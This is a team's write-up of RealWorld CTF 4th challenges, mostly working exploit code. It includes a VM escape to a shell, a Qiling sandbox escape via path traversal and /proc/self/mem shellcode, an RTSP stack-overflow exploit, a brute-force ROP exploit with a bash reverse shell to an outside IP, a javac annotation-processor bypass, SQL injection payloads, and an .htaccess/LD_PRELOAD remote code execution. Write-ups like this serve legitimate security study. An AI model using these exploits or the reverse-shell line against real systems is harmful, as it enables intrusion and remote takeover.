RealWorld CTF 4th Writeup
前言
本次比赛取得了第四名的成绩,现将师傅们的wp整理如下,与大家交流学习.有意向的师傅欢迎投递简历到root@r3kapig.com.
Pwn
SVME
无检测的虚拟机
- 不断利用LOAD，STORE，GLOAD，GSTORE得到栈地址，栈空间中的libc地址
- 利用计算指令计算出__free_hook-8和system的地址
- 最后结束的时候触发free -> *__free_hook(&__free_hook-8)实现getshell
from pwn import *
context.log_level = "debug"
context.binary = "./svme"
'''
typedef enum {
NOOP = 0,
IADD = 1, // int add
ISUB = 2,
IMUL = 3,
ILT = 4, // int less than
IEQ = 5, // int equal
BR = 6, // branch
BRT = 7, // branch if true
BRF = 8, // branch if true
ICONST = 9, // push constant integer
LOAD = 10, // load from local context
GLOAD = 11, // load from global memory
STORE = 12, // store in local context
GSTORE = 13, // store in global memory
PRINT = 14, // print stack top
POP = 15, // throw away top of stack
CALL = 16, // call function at address with nargs,nlocals
RET = 17, // return value from function
HALT = 18
} VM_CODE;
'''
#p = process("./svme")
#base = p.libs()["/media/psf/Home/Documents/2022-CTF/realworldctf-2022/pwn-SVME/svme_9495bfd34dcaea7af748f1138d5fc25e/svme"]
IP, PORT = "47.243.140.252", 1337
p = remote(IP, PORT)
# opcode
GSTORE = 13 # gstore, offset
POP = 15 # pop
GLOAD = 11 # gload, offset
LOAD = 10 # load, offset
STORE = 12 # store, offset
PUSH = ICONST = 9 # push, data
ADD = IADD = 1 # add
HALT = 18
# debug mode
cmd = ""
#cmd = "b *%d\n" %(base+0x137e) # loop
#cmd += "b *%d\n" %(base+0x1d58) # vm_exec
#cmd = "set $a=0x5555555592a0\n" # vm's address
#cmd += "b *%d\n" %(base+0x194C) # before exit
#gdb.attach(p, cmd)
# payload opcode
code = p32(POP)*1
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)
code += p32(GSTORE) + p32(3)
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(5)
code += p32(GSTORE) + p32(4)
# gstore balance
code += p32(GLOAD) + p32(4)
code += p32(GLOAD) + p32(5)
code += p32(GLOAD) + p32(2)
code += p32(GLOAD) + p32(3)
code += p32(GLOAD) + p32(0)
code += p32(GLOAD) + p32(1)
# load stack ptr data (in gloabl area) to stack area
code += p32(GLOAD) + p32(4)
code += p32(GLOAD) + p32(5)
# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)
# store balance
code += p32(LOAD) + p32(-993&0xffffffff)
code += p32(LOAD) + p32(-992&0xffffffff)
# load libc address(in global area -> program stack) to stack area
# reverse data for calc
code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)
# calc system and __free_hook address offset
'''
leak => 0x7ffff7dea0b3
system => 0x7ffff7e18410
__free_hook-8 => 0x7ffff7fb1b20
'''
# calc system address
code += p32(PUSH) + p32(0x7ffff7e18410-0x7ffff7dea0b3)
code += p32(ADD)
# calc __free_hook_address
code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(0x7ffff7fb1b20-0x7ffff7dea0b3)
code += p32(ADD)
# global area -> &__free_hook
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)
# /bin/sh\x00 => 0x68732f6e69622f
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)
# nop padding
code += p32(HALT)
code = code.ljust(512, b"\x00")
p.send(code)
p.interactive()QLaaS
题目接收一个可执行文件，并在qiling环境中执行。题目考察点在qiling环境的逃逸。 qiling是基于unicorn的实现的二进制程序执行环境，自己实现了syscall、binary loader等操作，使其能够跨架构、跨平台执行可执行程序。 通过代码审计可以发现，其实现openat系统调用时缺少对路径穿越的判断，从而可以绕出rootfs。 利用路径穿越，我们可以对/proc/self/mem进行读写并getshell
exp.c:
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdlib.h>
int ql_open(char* abs_path, long flag){
int fd,dir_fd;
char path[128] = "../../../../../../../..";
strcat(path, abs_path);
printf("path for qiling is %s\n",path);
dir_fd = syscall(2,".",O_RDONLY,0666);
fd = syscall(257,dir_fd, path ,flag,0666);
close(dir_fd);
return fd;
}
int main(){
int fd;
int file_size;
unsigned long ret,off;
char buf[30000];
fd = ql_open("/proc/self/maps",O_RDONLY);
memset(buf,0,sizeof(buf));
read(fd,buf,12);
off = strtol(buf, (char*)buf+12, 16);
printf("python offset = %lx\n",off);
read(fd,&buf[12],40960);
puts(buf);
close(fd);
fd = ql_open("/proc/self/mem",O_RDWR);
ret = lseek(fd, off+0x3FF8,SEEK_SET);
printf("seek set ret = %lx\n",ret);
unsigned long cxaf_addr = 0;
read(fd,&cxaf_addr,8);
printf("__cxa_finalize = %lx\n",cxaf_addr);
unsigned long libc_addr = cxaf_addr - 0x3ea00 ;
unsigned long free_addr = libc_addr + 0x8a720;
printf("__libc_addr = %lx\n",libc_addr);
ret = lseek(fd, free_addr,SEEK_SET);
printf("seek set ret = %lx\n",ret);
char shellcode[] = {'j','h','H','\xb8','/','b','i','n','/','/','/','s','P','H','\x89','\xe7','h','r','i','\x01','\x01','\x81','4','$','\x01','\x01','\x01','\x01','1','\xf6','V','j','\x08','^','H','\x01','\xe6','V','H','\x89','\xe6','1','\xd2','j',';','X','\x0f','\x05'};
write(fd,shellcode,strlen(shellcode));
close(fd);
}The Rise of Sky
Strange arch(c-sky) pwn. Stack overflow at https://github.com/geeksville/Micro-RTSP/blob/master/src/CRtspSession.cpp#L65 No PIE, No NX, ret to data
from pwn import *
debug = 0
context.log_level = 'debug'
# 0x000093fc 0x9270 0x9294
base = 0x13f510
if debug:
p = remote('192.168.101.23', 8554)
else:
p = remote('47.242.246.203', 32042)
# p.sendlineafter(':', '{Team_token}')
sc = [
0x23, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x82, 0xB8, 0x3B, 0x6E, 0x25, 0x16,
0x68, 0xE4, 0x13, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x66, 0x32, 0x41, 0xA3,
0x68, 0xE4, 0x13, 0x10, 0x6C, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x61, 0x32, 0x43, 0xA3,
0x68, 0xE4, 0x13, 0x10, 0x67, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x32, 0x45, 0xA3,
0x88, 0xE4, 0x03, 0x10, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x30, 0x4F, 0x6C, 0x63, 0x28, 0x38, 0x37,
0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x00, 0xB4, 0x28, 0xE4, 0x13, 0x11, 0x68, 0xE4, 0x03, 0x10,
0x02, 0xEA, 0x00, 0x01, 0x00, 0x93, 0x3F, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x68, 0xE4,
0x13, 0x11, 0x02, 0xEA, 0x00, 0x10, 0x4F, 0x6C, 0x04, 0x30, 0x40, 0x37, 0x00, 0xC0, 0x20, 0x20,
0x00, 0x6C, 0xA3, 0x6F, 0x82, 0x98, 0xEE, 0xD9, 0x01, 0x20, 0x0E, 0xD9, 0x00, 0x20, 0x03, 0x14,
# useless shellcode just for stucking process, used to launch shell
0x22, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x3B, 0x6E, 0x2A, 0x14, 0x68, 0xE4,
0x0F, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x41, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x69, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x6E, 0x32, 0x43, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x2F, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x45, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x75, 0x32, 0x46, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x73, 0x32, 0x47, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x79, 0x32, 0x48, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x49, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x6F, 0x32, 0x4A, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x78, 0x32, 0x4B, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x00, 0x32, 0x4C, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x73, 0x32, 0x40, 0xA3, 0x68, 0xE4,
0x17, 0x10, 0x68, 0x32, 0x41, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x00, 0x32, 0x42, 0xA3, 0x68, 0xE4,
0x23, 0x10, 0x48, 0xE4, 0x0F, 0x10, 0x40, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x48, 0xE4, 0x17, 0x10,
0x41, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x00, 0x32, 0x42, 0xB3, 0x68, 0xE4, 0x27, 0x10, 0x00, 0x32,
0x40, 0xB3, 0x48, 0xE4, 0x27, 0x10, 0x28, 0xE4, 0x23, 0x10, 0x68, 0xE4, 0x0F, 0x10, 0x0F, 0x6C,
0xE0, 0xB8, 0xDD, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x02, 0x14, 0x3C, 0x78
]
test = b'Oclient_port' + b'a' * 1273 + p32(0x13fa1c)[:3] + b'\r\nbb' + bytearray(sc) + b'\r\n'
p.send(test)
# p.sendline(test)
p.interactive()shellcode:
# shellcode for open read write
subi sp, sp, 12
st.w r8, (sp, 0)
st.w r15, (sp, 0x4)
st.w r4, (sp, 0x8)
mov r8, sp
subi sp, sp, 276
subi r3, r8, 20
movi r2, 47
st.b r2, (r3, 0)
subi r3, r8, 20
movi r2, 102
st.b r2, (r3, 0x1)
subi r3, r8, 20
movi r2, 108
st.b r2, (r3, 0x2)
subi r3, r8, 20
movi r2, 97
st.b r2, (r3, 0x3)
subi r3, r8, 20
movi r2, 103
st.b r2, (r3, 0x4)
subi r3, r8, 20
movi r2, 0
st.b r2, (r3, 0x5)
subi r4, r8, 4
subi r3, r8, 20
movi r0, 0
mov r1, r3
subi r0, 100
movi r7, 56
trap 0
lsli r0, r0, 0
st.w r0, (r4, 0)
subi r1, r8, 276
subi r3, r8, 4
movi r2, 256
ld.w r0, (r3, 0)
movi r7, 63
trap 0
lsli r0, r0, 0
subi r3, r8, 276
movi r2, 4096
mov r1, r3
movi r0, 4
movi r7, 64
trap 0Who Moved My Block
The solution is similar to CVE-2018-1160, Metatalk in Hitcon 2021.
- Read the source code and find the vulnerability.
- I find two vulnerabilities one Heap-Overflow and one Stack-Overflowin function handle-info
- The heap-overflow is hard to use, cuz we need to construct the heap Fengshui carefully.
- While the Stack-Overflow one is easy to use, we could get the addresses of pie/heap/canary by judging the statement of connection (crash or hang).
- ROP to get a reversed shell Exp:
from code import interact
from distutils.dir_util import copy_tree
from re import sub
from pwn import *
import subprocess
#context.log_level = 'debug'
context.arch='amd64'
DEBUG = 0
if(DEBUG):
ip = "0.0.0.0"
port = 6666
else:
ip = "47.242.113.232"
port =49265
p = None
ru = lambda x: p.recvuntil(x)
rl = lambda : p.recvline()
ra = lambda : p.recvall()
rv = lambda x: p.recv(x)
sn = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
def pow():
ru('sha256("')
tmp = ru('"')[:-1].decode()
c1 = "gcc ./pow.c -lcrypto -o ppp".split(' ')
c2 = f"./ppp {tmp}".split(' ')
c3 = "rm ./ppp".split(' ')
subp = subprocess.Popen(c1)
subp.wait()
print(c2)
subp = subprocess.Popen(c2)
res,_ = subp.communicate()
subp = subprocess.Popen(c3)
subp.wait()
print(res,_)
def anum(n):
sn(p32(n,endian='big'))
def NBD_OPT_EXPORT_NAME(payload):
anum(1)
anum(len(payload))
sn(payload)
def NBD_OPT_LIST():#baned
sn(p64(0x54504f4556414849))
anum(3)
anum(1)
def NBD_OPT_STARTTLS(size,c):#Set stack
anum(5)
anum(size)
sn(c)
def NBD_OPT_INFO(buf):
anum(7)
anum(len(buf)+4)
anum(len(buf)+4)
sn(buf)
p.read()
pad = b" "*0x10+b'''sleep 3;bash -c 'exec bash -i &>/dev/tcp/49.234.220.122/20191 <&1';'''*0x6
sn(pad.ljust(len(buf)+4,b'\0'))
sn(p16(0,endian='big'))
p.readuntil("nown")
def single_req(base,guess):
global p
p = remote(ip,port)
sa("OPT\x00\x03",p32(0))
sn(p64(0x54504f4556414849))
NBD_OPT_INFO(base+guess)
p.read(timeout=1)
def req(base,length):
res = b""
global p
for x in range(length):
flag=0
for _ in range(0x100):
log.success(f"Trying Pos:{x}:{hex(_)}")
try:
#if(1):
guess = _.to_bytes(1,'little')
single_req(base+res,guess)
res+=guess
flag=1
break
except:
p.close()
continue
if(not flag):
return 0
log.warning(hex(u64(res.ljust(8,b'\0'))))
res = u64(res.ljust(8,b'\0'))
log.warning(hex(res))
input()
return res
def canary():
base=b"A"*(0x408)+b'\0'
length=7
return req(base,length)
def leak_heap():
global p
base = b"A"*(0x408)+ p64(canary_val) +b"\0"*0x18
length = 6
return req(base,length)
def leak_pie():
global p
base = b"A"*(0x408)+ p64(canary_val) +b"\0"*0x18
base+= p64(heap)+p64(0)+p64(heap-0x100)+p64(0)+b"\xea"
length= 5
return req(base,length)
def exploit(c):
global p
p = remote(ip,port)
sa("OPT\x00\x03",p32(0))
sn(p64(0x54504f4556414849))
pay = b"A"*(0x408)+p64(canary_val)+b"\0"*0x18
pay += p64(heap)+p64(0)+p64(heap-0x100)+p64(0)+c
NBD_OPT_INFO(pay)
p.interactive()
if __name__ == "__main__":
canary_val = canary()
heap = leak_heap()
pie = leak_pie()-0x96ea
ret = 0x000000000000301a+pie
rdi = 0x0000000000004a58+pie
system = 0x3bb0+pie
r = flat([
ret,rdi,heap+0x100*2,system
])
exploit(r)Secured Java
Challenge
try:
subprocess.run(
["javac", "-cp", DEP_FILE, SOURCE_FILE],
input=b"",
check=True,
)
except subprocess.CalledProcessError:
print("Failed to compile!")
exit(1)
print("Running...")
try:
subprocess.run(["java", "--version"])
subprocess.run(
[
"java",
"-cp",
f".:{DEP_FILE}",
"-Djava.security.manager",
"-Djava.security.policy==/dev/null",
"Main",
],
check=True,
)
except subprocess.CalledProcessError:
print("Failed to run!")
exit(2)- javac -cp DEP_FILE SOURCE_FILE
- java --version make sure java exists
- java -cp .:DEP_FILE -Djava.security.manager -Djava.security.policy==/dev/null Main
Analysis:
- The security manager is intended to be used to execute sandboxed java code. So, basically, it should NOT BE BYPASSED WITHOUT FURTHER VULNERABILITY.
- That is, the java exeuction part is safe.
- We are using javac to compile the source file. If java execution is safe, then javac must be the part.
- javac is java compiler, call executable code when compiling is a major solution to meta programming. (The other would be to dynamically generate code when executing, i.e, reflection.)
- Searching for meta programming on java, or modifying java compilation process, adding code, etc... You could get result called annotation processor which does exactly that.
Solution:
- Write a annotation processor as the DEP_FILE
- Use the annotation on source code, then javac will call up the DEP_FILE on compilation.
- Do your job on compilation.
(Note: make sure you have set up the proper META-INF file so that java compiler knows you have a annotation processor in charge).
Exp:
Source code:
import exp.Fuck;
public class Main {
@Fuck
int a;
public static void main(String[] args) {
}
}Dep.jar
src/Fuck.java
package exp;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.SOURCE)
@Target(ElementType.FIELD)
public @interface Fuck {
}src/FuckProcessor.java
package exp;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOError;
import java.io.IOException;
import java.util.Set;
import javax.annotation.processing.Completion;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.Processor;
import javax.annotation.processing.RoundEnvironment;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.AnnotationMirror;
import javax.lang.model.element.Element;
import javax.lang.model.element.ExecutableElement;
import javax.lang.model.element.TypeElement;
import com.google.auto.service.AutoService;
@AutoService(Processor.class)
public class FuckProcessor implements Processor {
void listDir(String pathString) {
System.out.println("---------- " + pathString + "----------");
File path = new File(pathString);
for (var name : path.list()) {
System.out.println(name);
}
}
void exp() {
File flag = new File("/flag");
try {
FileInputStream fileInputStream = new FileInputStream(flag);
byte[] allBytes = fileInputStream.readAllBytes();
String flagString = new String(allBytes);
System.out.println("flag: " + flagString);
fileInputStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
}
}
@Override
public Set<String> getSupportedOptions() {
// TODO Auto-generated method stub
return null;
}
@Override
public Set<String> getSupportedAnnotationTypes() {
// TODO Auto-generated method stub
return null;
}
@Override
public SourceVersion getSupportedSourceVersion() {
// TODO Auto-generated method stub
return null;
}
@Override
public void init(ProcessingEnvironment processingEnv) {
exp();
}
@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
exp();
return false;
}
@Override
public Iterable<? extends Completion> getCompletions(Element element, AnnotationMirror annotation,
ExecutableElement member, String userText) {
// TODO Auto-generated method stub
return null;
}
}src/main/resources/META-INF/services/javax.annotation.processing.Processor
exp.FuckProcessor(You might still need a basic code infra to put all these in. I used gradle init then gradle build to build the jar)
The dependency:
The dependency:
// https://mvnrepository.com/artifact/com.google.auto.service/auto-service
implementation 'com.google.auto.service:auto-service:1.0.1'I thought this would add the javax.annotation.processing.Processor automatically, but it turns out to be wrong.
But anyway, I thought it could be useful.
Web
Hack into Skynet
- 空用户名登陆 : username=&password=rdd
- 使用form-databypass waf
- 找到一个表名target_credentials的表
';select tablename,schemaname from pg_tables where tablename like 'ta%' limit 1 offset 1;--
- 获取target_credentials表的列:id,account,password,access_key,secret_key
';SELECT column_name,1 FROM information_schema.columns WHERE table_name='target_credentials' limit 1 offset 0;--
- GET FLAG!
';SELECT concat(id,account,password,access_key,secret_key),1 FROM target_credentials where id ='1
RWDN
- 双文件上传能绕过白名单任意文件上传，传.htaccess，通过.htaccess读取文件
import requests,re
session = requests.session()
file_content="ErrorDocument 404 %{file:/etc/passwd}"
filename=".htaccess"
burp0_url = "http://47.243.75.225:31337/upload?formid=form-1e5eb93c-a7f4-4d16-9981-618e426c07dd"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryS5VjK1pba1yEbdzT", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.243.75.225:31337/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryS5VjK1pba1yEbdzT\r\nContent-Disposition: form-data; name=\"form-1e5eb93c-a7f4-4d16-9981-618e426c07dd\"; filename=\"smity.txt\"\r\nContent-Type: text/x-sh\r\n\r\n"+file_content+"\r\n------WebKitFormBoundaryS5VjK1pba1yEbdzT--"
r=session.post(burp0_url, headers=burp0_headers, data=burp0_data)
info = re.findall(r'http://47.243.75.225:31338/(.*?)/smity.txt',r.text)
session = requests.session()
burp0_url = "http://47.243.75.225:31337/upload?formid=b"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryh0XsiM1LBiqUjsXU", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.1.25:8000/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryh0XsiM1LBiqUjsXU\r\nContent-Disposition: form-data; name=\"a\"; filename=\"null\"\r\nContent-Type: text/xml\r\n\r\nabc\r\n------WebKitFormBoundaryh0XsiM1LBiqUjsXU\r\nContent-Disposition: form-data; name=\"b\"; filename=\""+filename+"\"\r\nContent-Type: text/xml\r\n\r\n"+file_content+"\r\n------WebKitFormBoundaryh0XsiM1LBiqUjsXU--"
r=session.post(burp0_url, headers=burp0_headers, data=burp0_data)
print('http://47.243.75.225:31338/'+info[0]+"/"+filename)读apache的配置文件发现多了一个mod_ext_filter，ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip，这个后缀会开新进程去处理
.htaccess写环境变量，ld_preload劫持，用7f39f8317fgzip起新进程
SetEnv LD_PRELOAD "/var/www/html/xxx/1.so" SetOutputFilter 7f39f8317fgzip
再将.so传上去，ld_preload加载恶意的.so，RCE执行readflag
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = "echo 'IyEvdXNyL2xvY2FsL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSBJUEM6Ok9wZW4zOwoKbXkgJHBpZCA9IG9wZW4zKCBcKkNITERfSU4sIFwqQ0hMRF9PVVQsIFwqQ0hMRF9FUlIsICcvcmVhZGZsYWcnICkKICBvciBkaWUgIm9wZW4zKCkgZmFpbGVkICQhIjsKCm15ICRyOwokciA9IDxDSExEX09VVD47CnByaW50ICIkciI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSBldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw==' | base64 -d > /tmp/r3.pl";
// const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}Reverse
Trust or Not
TEE（Trusted Execution Environment）可信执行环境
OP-TEE项目文档：https://optee.readthedocs.io/en/latest/ ARM Trusted Firmware分析——启动、PSCI、OP-TEE接口 https://www.cnblogs.com/arnoldlu/p/14175126.html optee源码: https://github.com/OP-TEE/optee_os https://optee.readthedocs.io/en/latest/architecture/secure_storage.html#:~:text=OP-TEE%20by%20default%20uses%20/data/tee/%20as%20the%20secure,in%20the%20Linux%20file%20system%20as%20/data/tee/%3Cfile%20number%3E. 有个中文文档:https://blog.csdn.net/Thanksgining/article/details/111564548
由hint得知，flag在/data/tee/2
各种密钥的计算流程
HUK：hardware unique key，通过tee_otp_get_hw_unique_key函数获取，值为 b'\x00'*16
Chip ID：在huk_compat函数中定义，值为 b'BEEF'*8
"static string": 在huk_compat函数中定义，值为 b'ONLY_FOR_tee_fs_ssk'
以上三个值，相关的函数在 bl32_extra1.bin 文件里。 TA_UUID：可以找到 /lib/optee_armtz/f4e750bb-1437-4fbf-8785-8d3580c34994.ta 文件，就是文件名的那串 uuid
Enc_FEK: 在 /data/tee/2 文件中
文件格式为
/*
* File layout
* [demo with input:
* BLOCK_SIZE = 4096,
* node_size = 66,
* block_nodes = 4096/(66*2) = 31 ]
*
* phys block 0:
* tee_fs_htree_image vers 0 @ offs = 0
* tee_fs_htree_image vers 1 @ offs = sizeof(tee_fs_htree_image)
*
* phys block 1:
* tee_fs_htree_node_image 0 vers 0 @ offs = 0
* tee_fs_htree_node_image 0 vers 1 @ offs = node_size
* tee_fs_htree_node_image 1 vers 0 @ offs = node_size * 2
* tee_fs_htree_node_image 1 vers 1 @ offs = node_size * 3
* ...
* tee_fs_htree_node_image 30 vers 0 @ offs = node_size * 60
* tee_fs_htree_node_image 30 vers 1 @ offs = node_size * 61
*
* phys block 2:
* data block 0 vers 0
*
* phys block 3:
* data block 0 vers 1
*/
/*
* htree_image is the header of the file, there's two instances of it. One
* which is committed and the other is used when updating the file. Which
* is committed is indicated by the "counter" field, the one with the
* largest value is selected.
*
* htree_node_image is a node in the hash tree, each node has two instances
* which is committed is decided by the parent node .flag bit
* HTREE_NODE_COMMITTED_CHILD. Which version is the committed version of
* node 1 is determined by the by the lowest bit of the counter field in
* the header.
*
* Note that nodes start counting at 1 while blocks at 0, this means that
* block 0 is represented by node 1.
*/tee_fs_htree_image 和 tee_fs_htree_node_image 在 fs_tree.h 中定义
/* Internal struct provided to let the rpc callbacks know the size if needed */
struct tee_fs_htree_image {
uint8_t iv[TEE_FS_HTREE_IV_SIZE];
uint8_t tag[TEE_FS_HTREE_TAG_SIZE];
uint8_t enc_fek[TEE_FS_HTREE_FEK_SIZE];
uint8_t imeta[sizeof(struct tee_fs_htree_imeta)];
uint32_t counter;
};
/* Internal struct provided to let the rpc callbacks know the size if needed */
struct tee_fs_htree_node_image {
/* Note that calc_node_hash() depends on hash first in struct */
uint8_t hash[TEE_FS_HTREE_HASH_SIZE];
uint8_t iv[TEE_FS_HTREE_IV_SIZE];
uint8_t tag[TEE_FS_HTREE_TAG_SIZE];
uint16_t flags;
};文件有两个数据block，对应两个tee_fs_htree_node_image。
数据使用 AES-GCM 加密，密钥是FEK，nonce是tee_fs_htree_node_image.iv，tag也在tee_fs_htree_node_image里。此外还使用了AAD（Additional authenticated data），是Enc_FEK+iv，在 fs_htree.c 的 authenc_init 函数。
用HUK、Chip ID、"static string"可算出SSK 用SSK和TA_UUID可以算出TSK 用TSK和Enc_FEK可以算出FEK 用FEK和tee_fs_htree_node_image里的iv和tag，解出数据block明文
几个比较坑的地方
- TA_UUID的问题，应当是
b'\xbb\x50\xe7\xf4\x37\x14\xbf\x4f\x87\x85\x8d\x35\x80\xc3\x49\x94' - Chip ID || "static string" 最后要以 b'\x00' 结尾
对于第一点来说
源码中ta/arch/arm/user_ta_header.c 描述了TA_UUID在TA的ELF的.ta_head区段里面
#define TA_FRAMEWORK_STACK_SIZE 2048
const struct ta_head ta_head __section(".ta_head") = {
/* UUID, unique to each TA */
.uuid = TA_UUID,
/*
* According to GP Internal API, TA_FRAMEWORK_STACK_SIZE corresponds to
* the stack size used by the TA code itself and does not include stack
* space possibly used by the Trusted Core Framework.
* Hence, stack_size which is the size of the stack to use,
* must be enlarged
*/
.stack_size = TA_STACK_SIZE + TA_FRAMEWORK_STACK_SIZE,
.flags = TA_FLAGS,
/*
* The TA entry doesn't go via this field any longer, to be able to
* reliably check that an old TA isn't loaded set this field to a
* fixed value.
*/
.depr_entry = UINT64_MAX,
};IDA结果
TA_UUID是 BB 50 E7 F4 37 14 BF 4F 87 85 8D 35 80 C3 49 94
solve script:
import os
import struct
from hashlib import sha256
#from Crypto.Hash import HMAC, SHA256
from hmac import HMAC
from Crypto.Cipher import AES
import binascii
#from Crypto.Util.Padding import unpad
def AES_Encrypt_CBC(key, iv, data):
#vi = '0102030405060708'
pad = lambda s: s + (16 - len(s)%16) * chr(16 - len(s)%16)
data = pad(data)
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
#encodestrs = base64.b64encode(encryptedbytes)
#enctext = encodestrs.decode('utf8')
#return enctext
return encryptedbytes
def AES_Decrypt_CBC(key, iv, data):
#vi = '0102030405060708'
#data = data.encode('utf8')
#encodebytes = base64.decodebytes(data)
cipher = AES.new(key, AES.MODE_CBC, iv)
text_decrypted = cipher.decrypt(data)
unpad = lambda s: s[0:-s[-1]]
text_decrypted = unpad(text_decrypted)
#text_decrypted = text_decrypted.decode('utf8')
return text_decrypted
def AES_Decrypt_ECB(key, data):
cipher = AES.new(key, AES.MODE_ECB)
text_decrypted = cipher.decrypt(data)
return text_decrypted
def bytesToHexString(bs):
return ' '.join(['%02X' % b for b in bs])
fp = open("2","rb")
data = fp.read()
fp.close()
print (".......... Tee_fs_htree_image ver0 ..............")
offset = 0
Tee_fs_htree_image_0_iv = data[offset + 0x00: offset + 0x10]
Tee_fs_htree_image_0_tag = data[offset + 0x10 : offset + 0x20]
Tee_fs_htree_image_0_enc_fek = data[offset + 0x20 : offset + 0x30]
Tee_fs_htree_image_0_imeta = data[offset + 0x30 : offset + 0x40]
Tee_fs_htree_image_0_counter = struct.unpack("I", data[offset + 0x40 : offset + 0x44])[0]
print(bytesToHexString(Tee_fs_htree_image_0_iv))
print(bytesToHexString(Tee_fs_htree_image_0_tag))
print(bytesToHexString(Tee_fs_htree_image_0_enc_fek))
print(bytesToHexString(Tee_fs_htree_image_0_imeta))
print(Tee_fs_htree_image_0_counter)
print (".......... Tee_fs_htree_image ver1 ..............")
offset = 0x44
Tee_fs_htree_image_1_iv = data[offset : offset + 0x10]
Tee_fs_htree_image_1_tag = data[offset + 0x10 : offset + 0x20]
Tee_fs_htree_image_1_enc_fek = data[offset + 0x20 : offset + 0x30]
